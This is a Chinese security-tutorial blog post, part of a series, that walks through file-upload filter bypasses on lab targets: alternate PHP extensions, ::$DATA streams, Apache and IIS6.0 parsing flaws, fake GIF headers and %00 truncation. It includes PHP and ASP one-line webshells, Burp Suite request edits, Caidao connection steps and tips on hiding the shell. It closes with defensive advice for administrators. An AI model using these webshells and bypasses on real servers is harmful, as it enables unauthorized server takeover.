[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

  • A+
所属分类:安全文章

前文分享(下面的超链接可以点击喔):

[网络安全] 一.Web渗透入门基础与安全术语普及

[网络安全] 二.Web渗透信息收集之域名、端口、服务、指纹、旁站、CDN和敏感信息

[网络安全] 三.社会工程学那些事及IP物理定位

[网络安全] 四.手工SQL注入和SQLMAP入门基础及案例详解

[网络安全] 五.XSS跨站脚本攻击详解及分类-1

[网络安全] 六.XSS跨站脚本攻击靶场案例九题及防御方法-2

[网络安全] 七.Burp Suite工具安装配置、Proxy基础用法及暴库入门示例

[网络安全] 八.Web漏洞及端口扫描之ZeNmap、ThreatScan和DirBuster工具

[网络安全] 九.Wireshark安装入门及抓取网站用户名密码-1

[网络安全] 十.Wireshark抓包原理、ARP劫持、MAC泛洪及数据流追踪-2

[网络安全] 十一.Shodan搜索引擎详解及Python命令行调用

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识


[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞


最近开始学习网络安全和系统安全,接触到了很多新术语、新方法和新工具,作为一名初学者,感觉安全领域涉及的知识好广、好杂,但同时也非常有意思。所以我希望通过这100多篇网络安全文章,将Web渗透的相关工作、知识体系、学习路径和探索过程分享给大家。未知攻,焉知防,且看且珍惜。

前文分享了文件上传漏洞原理,通过本地环境搭建介绍相关原理及Caidao的基本用法。这篇文章将详细讲解文件上传漏洞和IIS6.0解析漏洞,包括PHP345文件绕过上传、Windows ::$DATA绕过、Apache解析漏洞上传等,同时结合Caidao工具介绍拿站的流程及防御原理。本文参考了Fox老师的视频,推荐大家去学习。基础文章,希望对入门的同学有帮助,大神请飘过,谢谢各位看官!

娜璋AI安全之家将专注于Python和安全技术,主要分享Web渗透、系统安全、人工智能、大数据分析、图像识别、恶意代码检测、CVE复现、威胁情报分析等文章。真心想把自己近十年的所学所做所感分享出来,与大家一起进步。

声明:本人坚决反对利用教学方法进行恶意攻击的行为,一切错误的行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解技术背后的原理,更好地进行安全防护。虽然作者是一名安全小白,但会保证每一篇文章都会很用心地撰写,希望基础性文章对你有所帮助,安全路上一起前行。

https://github.com/eastmountyxz/NetworkSecuritySelf-study

文章目录:

  • 一.文件上传漏洞之扩展名限制
    1.PHP345文件绕过上传
    2.Windows ::$DATA绕过
    3.Apache上传解析漏洞

  • 二.内容验证文件上传

  • 三.%00截断上传

  • 四.IIS6.0 解析漏洞


一.文件上传漏洞扩展名限制

前一篇文章详细讲解了文件上传漏洞的原理、一句话木马和Caidao的基本用法,涉及JS绕过文件上传、MIME绕过文件上传、大小写绕过文件上传、点和空格绕过文件上传、htaccess文件绕过上传,这篇文章将继续分享文件上传漏洞。下面参考了Fox老师的upload-labs思维导图,供大家学习。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

1.PHP345文件绕过上传

PHP3代表PHP版本3,这里用于文件绕过检测。一般的软件都是向下兼容,PHP3代码,PHP5同样兼容能够执行。如下图所示,fox.php5文件同样能够正常上传。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞


2.Windows ::$DATA绕过

Windows ::$DATA绕过只能用于Windows,Windows下NTFS文件系统有一个特性,即NTFS文件系统在存储数据流的一个属性DATA时,是请求a.php本身的数据。如果a.php还包含了其他的数据流,比如a.php:lake2.php,请求a.php:lake2.php::$DATA,则是请求a.php中的流数据lake2.php的流数据内容。简单来说,就是在数据后面加上::$DATA实现绕过,fox.php::$DATA返回fox.php数据。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

上传成功如下图所示,然后可以直接访问upload/fox.php文件。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞


3.Apache上传解析漏洞

Apache是从右到左判断解析,如果为不可识别解析,就再往左判断。比如1.php.xxx对Apache来说xxx是不可解析的,所以就会解析成1.php,这就是该漏洞的实现原理。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

如上图所示,将本地“fox.php”修改为“fox.php.xxx”,然后点击上传。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

接着尝试用菜刀去连接。URL为靶场的网址如下,密码为PHP一句话木马中的“fox”。

  • http://192.168.1.8/file_upload/upload/fox.php.xxx

<?php eval($_POST[fox]); ?> 

下图是Caidao连接的示意图。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

连接之后,成功获取文件目录,可以看到“fox.php.xxx”被成功上传。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞


二.内容验证文件上传

内容检查是网站安全的重要手段之一。假设我们将包含一句话木马的“fox.php”修改为“1.jpg”并上传,有的网址会提示上传错误,因为JPG格式不能执行PHP文件脚本的。

<?php eval($_POST[fox]); ?> 

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

如下图所示,它会判断图片的文件头,包括gif、png、jpg等格式。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

文件头是用来判断数据格式的,这里尝试修改文件头进行上传,以gif文件为例,添加文件头“GIF89a”后即可上传成功。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

同样可以尝试BurpSuite抓包修改文件后缀.php进行上传。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞


三.%00截断上传

0x00是十六进制表示方法,是ASCII码为0的字符,在有些函数处理时,会把这个字符当做结束符。这个可以用在对文件类型名的绕过上。需要注意,00截断get是可以自动转换的,post需要特殊转换,下面举一个例子。

首先,选择上传一张包含一句话木马的“php.jpg”图片。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

然后,利用BurpSuite抓包并修改后缀名为“php.php%001.jpg”。如果直接修改为“php.php”可能会被过滤。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

这种方法仍然不可行,因为它采用post提交数据,需要特殊转换。这里选中“%00”右键转换为URL格式,如下图所示,然后再点击“Forward”提交数据即可。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

文件成功上传,%00自动截断后面的内容。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞


四.IIS6.0 解析漏洞

ISS6.0解析漏洞分两种:

1.目录解析
以“*.asp”命名的文件夹里的文件都将会被当成ASP文件执行,比如“1.asp/1.jpg”,这里1.jpg会被当做asp文件执行。

利用IIS6.0解析漏洞,我们可以在网站下建立名字为“*.asp” 、“*.asa”的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析。例如创建目录“vidun.asp”,则“/vidun.asp/1.jpg”将被当作asp文件来执行。

2.文件解析
“*.asp;.jpg”像这种畸形文件名在 “;” 后面的直接被忽略,也就是说当成 “*.asp”文件执行。比如“1.asp;1.jpg”命名的文件,同样是以asp脚本进行执行。IIS6.0 默认的可执行文件除了asp还包含这三种:.asa、.cer、*.cdx。

网站上传图片的时候,将网页木马文件的名字改成“*.asp;.jpg”,分号后面的不被解析也同样会被IIS当作asp文件来解析并执行。例如上传一个图片文件,名字叫“vidun.asp;.jpg”的木马文件,该文件可以被当作asp文件解析并执行。


假设某网站是用IIS6.0搭建。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

该ASP靶场存在一个图片上传的后台页面,如下图所示:

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

第一步,我们制作一个名为“asp1.jpg”的一句话木马,核心代码如下:

<%execute(request("fox"))%>

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

第二步,尝试上传“asp1.jpg”图片,它会提示上传类型不正确。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

第三步,因为该网站检查了文件头类型,这里需要进行简单的修改,比如增加GIF文件头。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

第四步,选择上传,此时能够成功上传。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

第五步,接着尝试BurpSuite进行抓包,这里截取到数据包,点击“Send to Repeater”按钮。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

第六步,尝试在左边“upfile/”文件路径名后面增加文件名称“1.asp;”,然后点击请求发送。右边会显示文件成功上传,其路径详见图中。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

上传之后的文件可以成功访问,如下图所示。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

第七步,尝试进行Caidao连接,输入地址和密码“fox”。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

第八步,成功获取服务器的文件目录,如下图所示。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

注意:IIS6.0解析漏洞被发现的时候,微软是不承认这个漏洞的,所以没有进行相应的补丁修补。基本IIS6.0网站都很存在该漏洞。


同样的方法,某些TXT文件也是可以利用该漏洞进行上传。基本流程如下:

  • 先随意上传一个文件,观其url发现是asp脚本构造的页面

  • 在本地制作一个asp的一句话木马保存到文件中,然后打开burpsuite的代理功能去进行抓包修改

  • 发送的POST请求中发现刚发送的asp.txt被保存的第二个upload文件下,为了让其执行,我们在第二个upload后面加入/webshell.asp文件

  • 通过上一个步骤,有效地将asp.txt这个一句话木马放入webshell.asp中,IIS利用解析漏洞将asp.txt当作asp脚本去执行


[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

在burp中转发浏览器显示成功上传,并列出上传的地址。最后通过Caidao远程连接获取目录。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

另一种方法,将刚刚的asp木马文件名修改为webshell.asp;.txt,因为该网站不允许上传以asp作为后缀的文件名,所以我们使用.txt后缀,但分号后面的内容将会被IIS过滤不去解析,所以这就是个asp脚本。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

通过Caidao成功获取目录如下图所示,建议尽量放置在隐藏位置;同时某些网站有上传大小限制,可以尝试在一句话木马文件中填充内容。

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

如果您是一名网站管理员,您需要注意:

  • 进行文件黑名单和白名单过滤是非常必要的。

  • 文件的完整性校验、文件头校验、文件格式校验、文件大小校验都是必要的。

  • 避免像IIS6.0解析漏洞,注意相关CVE漏洞提示并及时修复。

  • 如果可以,尝试对上传文件的内容进行简单的校验。

  • 网站防火墙、安全狗都需要安装,弱口令、SQL注入、XSS等常见漏洞需要预防。


五.总结

写到这里,这篇基础性文章就此结束,后面会继续分享文件上传漏洞。作者是这个领域的菜鸟一枚,希望与您共同进步,共勉。如果文章对您有帮助,将是我最大的鼓励,点赞、评论、阅读都行,与您同行,加油。


[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞


一如既往的学习,一如既往的整理,一如即往的分享。感谢支持[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

“如侵权请私聊公众号删文”



扫描关注LemonSec

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

觉得不错点个“赞”、“在看”哦[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞


本文始发于微信公众号(LemonSec):[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: